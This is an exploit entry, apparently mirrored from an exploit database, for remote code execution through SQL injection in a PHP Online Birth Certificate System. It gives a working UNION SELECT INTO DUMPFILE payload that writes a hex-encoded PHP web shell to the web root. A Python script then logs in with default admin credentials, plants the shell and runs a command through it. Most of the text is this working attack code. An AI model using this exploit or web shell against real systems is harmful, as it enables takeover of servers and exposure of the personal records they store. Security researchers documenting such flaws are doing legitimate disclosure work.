`# Exploit Title: Online Birth Certificate System - RCE Through SQLi
# Date: 2020-07-08
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11466
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
/admin/search.php
Vulnerable Code:
----------------
line 145: $sdata=$_POST['searchdata'];
Vulnerable Issue:
-----------------
line 145: $sdata=$_POST['searchdata']; has no proper sanitization
POC:
----
[+] Inject the following payload inside the Search by Application Number
-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/obcs/1.php'-- -
Python Script POC:
------------------
import requests
#this script is for POC purpose, you could add your own error checking mechanism
username = "admin"
password = "Test@123"
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"
path = "%27C%3A%2FUwAmp%2Fwww%2Fobcs%2F1.php%27"
command = "whoami"
print("[+] Stage 1 : Login as admin")
url1 = "http://localhost:80/obcs/admin/login.php"
payload1 = "username=" + username + "&password=" + password + "&login="
headers1 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/obcs/admin/login.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "41",
"Content-Type": "application/x-www-form-urlencoded"
}
requests.request("POST", url1, data=payload1, headers=headers1)
print("[+] Stage 2 : Injecting Web Shell")
url2 = "http://localhost:80/obcs/admin/search.php"
payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="
headers2 = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "http://localhost/obcs/admin/search.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "281",
"Content-Type": "application/x-www-form-urlencoded"
}
requests.request("POST", url2, data=payload2, headers=headers2)
print("[+] Stage 3 : Run command\n")
url3 = "http://localhost:80/obcs/1.php?gh1mau=" + command
payload3 = ""
headers3 = {
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}
response = requests.request("GET", url3, data=payload3, headers=headers3)
print(response.text)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation